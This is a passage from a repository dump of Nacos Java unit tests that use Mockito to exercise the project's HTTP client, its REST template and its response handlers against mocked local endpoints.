    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\nimport org.slf4j.Logger;\n\nimport java.io.ByteArrayInputStream;\nimport java.util.Collections;\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NacosRestTemplateTest {\n    \n    @Mock\n    private HttpClientRequest requestClient;\n    \n    @Mock\n    private Logger logger;\n    \n    @Mock\n    private HttpClientResponse mockResponse;\n    \n    @Mock\n    private HttpClientRequestInterceptor interceptor;\n    \n    private NacosRestTemplate restTemplate;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        restTemplate = new NacosRestTemplate(logger, requestClient);\n        when(logger.isDebugEnabled()).thenReturn(true);\n        when(mockResponse.getHeaders()).thenReturn(Header.EMPTY);\n        when(interceptor.isIntercept(any(), any(), any())).thenReturn(true);\n        when(interceptor.intercept()).thenReturn(mockResponse);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        restTemplate.close();\n    }\n    \n    @Test\n    void testGetWithDefaultConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"GET\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpRestResult<String> result = restTemplate.get(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testGetWithCustomConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"GET\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        HttpRestResult<String> result = restTemplate.get(\"http://127.0.0.1:8848/nacos/test\", config, Header.EMPTY, Query.EMPTY,\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testGetWithInterceptor() throws Exception {\n        when(mockResponse.getStatusCode()).thenReturn(300);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test interceptor\".getBytes()));\n        restTemplate.setInterceptors(Collections.singletonList(interceptor));\n        HttpRestResult<String> result = restTemplate.get(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                String.class);\n        assertFalse(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test interceptor\", result.getMessage());\n    }\n    \n    @Test\n    void testGetWithException() throws Exception {\n        assertThrows(RuntimeException.class, () -> {\n            when(requestClient.execute(any(), eq(\"GET\"), any())).thenThrow(new RuntimeException(\"test\"));\n            restTemplate.get(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY, String.class);\n        });\n    }\n    \n    @Test\n    void testGetLarge() throws Exception {\n        when(requestClient.execute(any(), eq(\"GET-LARGE\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpRestResult<String> result = restTemplate.getLarge(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                new Object(), String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testDeleteWithDefaultConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"DELETE\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpRestResult<String> result = restTemplate.delete(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testDeleteWithCustomConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"DELETE\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        HttpRestResult<String> result = restTemplate.delete(\"http://127.0.0.1:8848/nacos/test\", config, Header.EMPTY, Query.EMPTY,\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testPut() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpRestResult<String> result = restTemplate.put(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                new Object(), String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testPutJson() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.putJson(\"http://127.0.0.1:8848/nacos/test\", header, \"body\", String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutJsonWithQuery() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.putJson(\"http://127.0.0.1:8848/nacos/test\", header, Query.EMPTY, \"body\",\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutForm() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.putForm(\"http://127.0.0.1:8848/nacos/test\", header, new HashMap<>(),\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutFormWithQuery() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.putForm(\"http://127.0.0.1:8848/nacos/test\", header, Query.EMPTY,\n                new HashMap<>(), String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutFormWithConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.putForm(\"http://127.0.0.1:8848/nacos/test\", config, header, new HashMap<>(),\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPost() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpRestResult<String> result = restTemplate.post(\"http://127.0.0.1:8848/nacos/test\", Header.EMPTY, Query.EMPTY,\n                new Object(), String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testPostJson() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.postJson(\"http://127.0.0.1:8848/nacos/test\", header, \"body\", String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostJsonWithQuery() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.postJson(\"http://127.0.0.1:8848/nacos/test\", header, Query.EMPTY, \"body\",\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostForm() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.postForm(\"http://127.0.0.1:8848/nacos/test\", header, new HashMap<>(),\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostFormWithQuery() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.postForm(\"http://127.0.0.1:8848/nacos/test\", header, Query.EMPTY,\n                new HashMap<>(), String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostFormWithConfig() throws Exception {\n        when(requestClient.execute(any(), eq(\"POST\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.postForm(\"http://127.0.0.1:8848/nacos/test\", config, header, new HashMap<>(),\n                String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testExchangeForm() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        HttpRestResult<String> result = restTemplate.exchangeForm(\"http://127.0.0.1:8848/nacos/test\", header, Query.EMPTY,\n                new HashMap<>(), \"PUT\", String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testExchange() throws Exception {\n        when(requestClient.execute(any(), eq(\"PUT\"), any())).thenReturn(mockResponse);\n        when(mockResponse.getStatusCode()).thenReturn(200);\n        when(mockResponse.getBody()).thenReturn(new ByteArrayInputStream(\"test\".getBytes()));\n        HttpClientConfig config = HttpClientConfig.builder().setConTimeOutMillis(1000).build();\n        HttpRestResult<String> result = restTemplate.exchange(\"http://127.0.0.1:8848/nacos/test\", config, Header.EMPTY,\n                Query.EMPTY, new Object(), \"PUT\", String.class);\n        assertTrue(result.ok());\n        assertEquals(Header.EMPTY, result.getHeader());\n        assertEquals(\"test\", result.getData());\n    }\n    \n    @Test\n    void testGetInterceptors() {\n        assertTrue(restTemplate.getInterceptors().isEmpty());\n        restTemplate.setInterceptors(Collections.singletonList(interceptor));\n        assertEquals(1, restTemplate.getInterceptors().size());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/handler/BeanResponseHandlerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.InputStream;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass BeanResponseHandlerTest {\n    \n    @Test\n    void testConvertResult() throws Exception {\n        List<Integer> testCase = new LinkedList<>();\n        for (int i = 0; i < 10; i++) {\n            testCase.add(i);\n        }\n        byte[] bytes = JacksonUtils.toJsonBytes(testCase);\n        InputStream inputStream = new ByteArrayInputStream(bytes);\n        HttpClientResponse response = mock(HttpClientResponse.class);\n        when(response.getBody()).thenReturn(inputStream);\n        when(response.getHeaders()).thenReturn(Header.EMPTY);\n        when(response.getStatusCode()).thenReturn(200);\n        BeanResponseHandler<List<Integer>> beanResponseHandler = new BeanResponseHandler<>();\n        beanResponseHandler.setResponseType(List.class);\n        HttpRestResult<List<Integer>> actual = beanResponseHandler.handle(response);\n        assertEquals(200, actual.getCode());\n        assertEquals(testCase, actual.getData());\n        assertNull(actual.getMessage());\n        assertEquals(Header.EMPTY, actual.getHeader());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/handler/RestResultResponseHandlerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.handler;\n\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.InputStream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass RestResultResponseHandlerTest {\n    \n    @Test\n    void testConvertResult() throws Exception {\n        RestResult<String> testCase = RestResult.<String>builder().withCode(200).withData(\"ok\").withMsg(\"msg\").build();\n        InputStream inputStream = new ByteArrayInputStream(JacksonUtils.toJsonBytes(testCase));\n        HttpClientResponse response = mock(HttpClientResponse.class);\n        when(response.getBody()).thenReturn(inputStream);\n        when(response.getHeaders()).thenReturn(Header.EMPTY);\n        when(response.getStatusCode()).thenReturn(200);\n        RestResultResponseHandler<String> handler = new RestResultResponseHandler<>();\n        handler.setResponseType(RestResult.class);\n        HttpRestResult<String> actual = handler.handle(response);\n        assertEquals(testCase.getCode(), actual.getCode());\n        assertEquals(testCase.getData(), actual.getData());\n        assertEquals(testCase.getMessage(), actual.getMessage());\n        assertEquals(Header.EMPTY, actual.getHeader());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/request/DefaultAsyncHttpClientRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.impl.async.CloseableHttpAsyncClient;\nimport org.apache.hc.core5.concurrent.FutureCallback;\nimport org.apache.hc.core5.reactor.DefaultConnectingIOReactor;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.net.URI;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultAsyncHttpClientRequestTest {\n    \n    DefaultAsyncHttpClientRequest httpClientRequest;\n    \n    @Mock\n    private CloseableHttpAsyncClient client;\n    \n    @Mock\n    private DefaultConnectingIOReactor ioReactor;\n    \n    @Mock\n    private Callback callback;\n    \n    @Mock\n    private ResponseHandler responseHandler;\n    \n    private RequestConfig defaultConfig;\n    \n    private URI uri;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        defaultConfig = RequestConfig.DEFAULT;\n        httpClientRequest = new DefaultAsyncHttpClientRequest(client, ioReactor, defaultConfig);\n        uri = URI.create(\"http://127.0.0.1:8080\");\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        httpClientRequest.close();\n    }\n    \n    @Test\n    void testExecuteOnFail() throws Exception {\n        Header header = Header.newInstance();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, body);\n        RuntimeException exception = new RuntimeException(\"test\");\n        when(client.execute(any(), any())).thenAnswer(invocationOnMock -> {\n            ((FutureCallback) invocationOnMock.getArgument(1)).failed(exception);\n            return null;\n        });\n        httpClientRequest.execute(uri, \"PUT\", httpEntity, responseHandler, callback);\n        verify(callback).onError(exception);\n    }\n    \n    @Test\n    void testExecuteOnCancel() throws Exception {\n        Header header = Header.newInstance();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, body);\n        when(client.execute(any(), any())).thenAnswer(invocationOnMock -> {\n            ((FutureCallback) invocationOnMock.getArgument(1)).cancelled();\n            return null;\n        });\n        httpClientRequest.execute(uri, \"PUT\", httpEntity, responseHandler, callback);\n        verify(callback).onCancel();\n    }\n    \n    @Test\n    void testExecuteOnComplete() throws Exception {\n        Header header = Header.newInstance();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, body);\n        SimpleHttpResponse response = mock(SimpleHttpResponse.class);\n        HttpRestResult restResult = new HttpRestResult();\n        when(responseHandler.handle(any())).thenReturn(restResult);\n        when(client.execute(any(), any())).thenAnswer(invocationOnMock -> {\n            ((FutureCallback) invocationOnMock.getArgument(1)).completed(response);\n            return null;\n        });\n        httpClientRequest.execute(uri, \"PUT\", httpEntity, responseHandler, callback);\n        verify(callback).onReceive(restResult);\n    }\n    \n    @Test\n    void testExecuteOnCompleteWithException() throws Exception {\n        Header header = Header.newInstance();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, body);\n        SimpleHttpResponse response = mock(SimpleHttpResponse.class);\n        RuntimeException exception = new RuntimeException(\"test\");\n        when(responseHandler.handle(any())).thenThrow(exception);\n        when(client.execute(any(), any())).thenAnswer(invocationOnMock -> {\n            ((FutureCallback) invocationOnMock.getArgument(1)).completed(response);\n            return null;\n        });\n        httpClientRequest.execute(uri, \"PUT\", httpEntity, responseHandler, callback);\n        verify(callback).onError(exception);\n    }\n    \n    @Test\n    void testExecuteException() throws Exception {\n        Header header = Header.newInstance();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, body);\n        IllegalStateException exception = new IllegalStateException(\"test\");\n        when(client.execute(any(), any())).thenThrow(exception);\n        // when(ioReactor.getAuditLog()).thenReturn(Collections.singletonList(new ExceptionEvent(exception, new Date())));\n        try {\n            httpClientRequest.execute(uri, \"PUT\", httpEntity, responseHandler, callback);\n        } catch (Exception e) {\n            assertEquals(exception, e);\n        }\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/request/DefaultHttpClientRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.apache.hc.client5.http.config.RequestConfig;\nimport org.apache.hc.client5.http.entity.UrlEncodedFormEntity;\nimport org.apache.hc.client5.http.impl.classic.CloseableHttpClient;\nimport org.apache.hc.core5.http.io.HttpClientResponseHandler;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.net.URI;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultHttpClientRequestTest {\n    \n    DefaultHttpClientRequest httpClientRequest;\n    \n    @Mock\n    private CloseableHttpClient client;\n    \n    @Mock\n    private SimpleHttpResponse response;\n    \n    private RequestConfig defaultConfig;\n    \n    private boolean isForm;\n    \n    private boolean withConfig;\n    \n    private URI uri;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        defaultConfig = RequestConfig.DEFAULT;\n        httpClientRequest = new DefaultHttpClientRequest(client, defaultConfig);\n        when(client.execute(argThat(httpUriRequest -> {\n            boolean result = isForm == (httpUriRequest.getEntity() instanceof UrlEncodedFormEntity);\n            HttpUriRequestBase baseHttpRequest = (HttpUriRequestBase) httpUriRequest;\n            if (withConfig) {\n                result &= null != baseHttpRequest.getConfig();\n            }\n            return result;\n        }), any(HttpClientResponseHandler.class))).thenReturn(response);\n        uri = URI.create(\"http://127.0.0.1:8080\");\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        isForm = false;\n        withConfig = false;\n        httpClientRequest.close();\n    }\n    \n    @Test\n    void testExecuteForFormWithoutConfig() throws Exception {\n        isForm = true;\n        Header header = Header.newInstance().addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_FORM_URLENCODED);\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, 